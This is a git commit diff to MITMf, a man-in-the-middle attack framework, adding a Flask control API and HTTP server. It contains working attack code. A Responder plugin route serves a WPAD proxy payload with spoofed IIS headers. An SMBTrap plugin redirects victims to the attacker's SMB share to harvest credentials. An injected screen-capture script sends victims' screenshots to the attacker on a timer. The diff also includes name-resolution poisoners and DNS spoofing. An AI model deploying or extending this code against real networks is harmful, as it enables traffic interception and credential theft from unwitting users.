Merge pull request #3 from byt3bl33d3r/api

Api
This commit is contained in:
xtr4nge 2015-06-21 13:26:41 +01:00
commit 134cd66959
15 changed files with 133 additions and 139 deletions

View file

@ -6,6 +6,7 @@
# Required BeEF and Metasploit options
[[BeEF]]
beefip = 127.0.0.1
beefport = 3000
user = beef
@ -18,6 +19,11 @@
rpcport = 55552
rpcpass = abc123
[[MITMf-API]]
host = 127.0.0.1
port = 9090
[[SMB]]
#
@ -57,25 +63,23 @@
# ini = /tmp/desktop.ini
# bat = /tmp/evil.bat
#This is still experimental, don't uncomment pls!
#[[HTTP]]
[[HTTP]]
#
# Here you can configure MITMf's internal HTTP server
#
#port = 80
port = 80
#[[[Paths]]]
[[[Paths]]]
#
# Here you can define the content to deliver
#
# Format is urlpath = filesystem path (urlpath can be a regular expression)
# Format is urlpath = filesystem path
# ".*" = "/var/www"
# "/test" = "/var/www2"
"/test" = "/var/www2"
[[DNS]]

View file

@ -14,11 +14,6 @@ class ConfigWatcher(FileSystemEventHandler):
_instance = None
config = ConfigObj("./config/mitmf.conf")
def __init__(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
@staticmethod
def getInstance():
if ConfigWatcher._instance is None:
@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler):
self.reloadConfig()
self.onConfigChange()
def startConfigWatch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def onConfigChange(self):
""" We can subclass this function to do stuff after the config file has been modified"""
pass

View file

@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
};
}
_html2canvas.Parse = function (images, options) {
window.scroll(0,0);
//window.scroll(0,0);
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
numDraws = 0,
@ -2871,8 +2871,10 @@ function grab() {
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var x=encodeURIComponent(dat);
xmlhttp.send(x);
}
});
},
width: screen.width,
height: screen.height
});
}
setInterval(function(){grab()}, SECONDS_GO_HERE);

View file

@ -1,6 +1,6 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
@ -31,18 +31,27 @@ import json
import sys
from flask import Flask
from core.configwatcher import ConfigWatcher
from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
log = logging.getLogger('werkzeug')
log.setLevel(logging.DEBUG)
class mitmfapi:
_instance = None
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
@staticmethod
def getInstance():
if mitmfapi._instance is None:
mitmfapi._instance = mitmfapi()
return mitmfapi._instance
@app.route("/")
def getPlugins():
# example: http://127.0.0.1:9090/getPlugins
# example: http://127.0.0.1:9090/
pdict = {}
#print ProxyPlugins.getInstance().plist
@ -60,7 +69,7 @@ class mitmfapi:
@app.route("/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
# example: http://127.0.0.1:9090/cachekill
for p in ProxyPlugins.getInstance().plist:
if plugin == p.name:
return json.dumps("1")
@ -69,8 +78,8 @@ class mitmfapi:
@app.route("/<plugin>/<status>")
def setPluginStatus(plugin, status):
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
# example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1":
for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
@ -85,8 +94,8 @@ class mitmfapi:
return json.dumps({"plugin": plugin, "response": "failed"})
def startFlask(self, host='127.0.0.1', port=9090):
app.run(host=host, port=port)
def startFlask(self):
app.run(debug=False, host=self.host, port=self.port)
#def start(self):
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)

View file

@ -420,8 +420,6 @@ class DNSChef(ConfigWatcher):
version = "0.4"
def __init__(self):
ConfigWatcher.__init__(self)
self.tcp = False
self.ipv6 = False
self.hsts = False
@ -430,8 +428,6 @@ class DNSChef(ConfigWatcher):
self.server_address = "0.0.0.0"
self.nameservers = ["8.8.8.8"]
self.port = 53
self.onConfigChange()
@staticmethod
def getInstance():
@ -477,6 +473,9 @@ class DNSChef(ConfigWatcher):
self.hsts = True
def start(self):
self.onConfigChange()
self.startConfigWatch()
try:
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
self.startTCP()

View file

@ -1,82 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import tornado.ioloop
import tornado.web
import threading
from core.configwatcher import ConfigWatcher
tornado_logger = logging.getLogger("tornado")
tornado_logger.propagate = False
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)
fileHandler.setFormatter(formatter)
streamHandler.setFormatter(formatter)
tornado_logger.addHandler(fileHandler)
tornado_logger.addHandler(streamHandler)
class HTTPServer(ConfigWatcher):
_instance = None
application = tornado.web.Application([])
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
@staticmethod
def getInstance():
if HTTPServer._instance == None:
HTTPServer._instance = HTTPServer()
return HTTPServer._instance
def addHandler(self, urlregex, handler, vhost=''):
self.application.add_handlers(vhost, [(urlregex, handler)])
def addStaticPathHandler(self, urlregex, path, vhost=''):
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
def resetApplication(self):
self.application = tornado.web.Application([])
def parseConfig(self):
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
self.addStaticPathHandler(url, path)
def onConfigChange(self):
self.resetApplication()
self.parseConfig()
def start(self):
self.parseConfig()
self.application.listen(self.http_port)
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
t.setDaemon(True)
t.start()
class HTTPHandler(tornado.web.RequestHandler):
def get(self):
raise HTTPError(405)
def post(self):
raise HTTPError(405)

View file

@ -0,0 +1,46 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import threading
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver:
_instance = None
server = Flask(__name__)
port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port'])
@staticmethod
def getInstance():
if HTTPserver._instance is None:
HTTPserver._instance = HTTPserver()
return HTTPserver._instance
def startFlask(self):
self.server.run(debug=False, host='0.0.0.0', port=self.port)
def start(self):
server_thread = threading.Thread(name='HTTPserver', target=self.startFlask)
server_thread.setDaemon(True)
server_thread.start()

View file

@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher):
_instance = None
impacket_ver = version.VER_MINOR
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower()
smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"]
smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"])
@staticmethod
def getInstance():

View file

@ -29,7 +29,6 @@ from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.utils import Banners, SystemConfig, shutdown
from core.mitmfapi import mitmfapi
from plugins import *
Banners().printBanner()
@ -159,14 +158,13 @@ reactor.listenTCP(args.listen, strippingFactory)
for p in ProxyPlugins.getInstance().plist:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch()
if hasattr(p, 'startThread'):
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
t.setDaemon(True)
t.start()
mitmfapi().start()
print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version)
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
@ -182,15 +180,21 @@ DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the HTTP Server
#from core.servers.http.HTTPServer import HTTPServer
#HTTPServer.getInstance().start()
#print "|_ HTTP server online"
from core.servers.http.HTTPserver import HTTPserver
HTTPserver.getInstance().start()
print "|_ HTTP server online"
#Start the SMB server
from core.servers.smb.SMBserver import SMBserver
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
SMBserver.getInstance().start()
#Start MITMf-API
from core.mitmfapi import mitmfapi
mitmfapi().start()
print "|"
print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
#start the reactor
reactor.run()

View file

@ -45,8 +45,7 @@ class CacheKill(Plugin):
def clientRequest(self, request):
'''Handles outgoing request'''
if self.getStatus():
request.headers['pragma'] = 'no-cache'
for header in self.bad_headers:
if header in request.headers:
del request.headers[header]
request.headers['pragma'] = 'no-cache'
for header in self.bad_headers:
if header in request.headers:
del request.headers[header]

View file

@ -21,12 +21,12 @@
from plugins.plugin import Plugin
from twisted.internet import reactor
from core.utils import SystemConfig, shutdown
from core.configwatcher import ConfigWatcher
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
from core.responder.wpad.WPADPoisoner import WPADPoisoner
class Responder(Plugin):
name = "Responder"
@ -54,8 +54,23 @@ class Responder(Plugin):
LLMNRPoisoner().start(options, self.ourip)
if options.wpad:
from core.responder.wpad.WPADPoisoner import WPADPoisoner
WPADPoisoner().start(options)
from core.servers.http.HTTPserver import HTTPserver
import flask
server = HTTPserver.getInstance().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
payload = ConfigWatcher.getInstance().config['Responder']['WPADScript']
resp = flask.Response(payload)
resp.headers['Server'] = "Microsoft-IIS/6.0"
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
resp.headers['X-Powered-By'] = "ASP.NET"
resp.headers['Content-Length'] = len(payload)
return resp
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLServer import MSSQLServer

View file

@ -32,7 +32,7 @@ class SMBAuth(Inject, Plugin):
def initialize(self, options):
self.target_ip = SystemConfig.getIP(options.interface)
Inject.initialize(options)
Inject.initialize(self, options)
self.html_payload = self._get_data()
def _get_data(self):

View file

@ -26,6 +26,5 @@ class SMBTrap(Plugin):
return {"request": request, "version": version, "code": 302, "message": "Found"}
def serverHeaders(self, response, request):
if self.getStatus():
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))

View file

@ -45,11 +45,10 @@ class Upsidedownternet(Plugin):
def serverHeaders(self, response, request):
'''Kill the image skipping that's in place for speed reasons'''
if self.getStatus():
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.headers['content-type'].split('/')[1].upper()
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.headers['content-type'].split('/')[1].upper()
def serverResponse(self, response, request, data):
try:

View file

@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf')
class Plugin(ConfigWatcher, object):
name = "Generic plugin"
optname = "generic"
tree_info = list()
tree_info = []
desc = ""
version = "0.0"
has_opts = False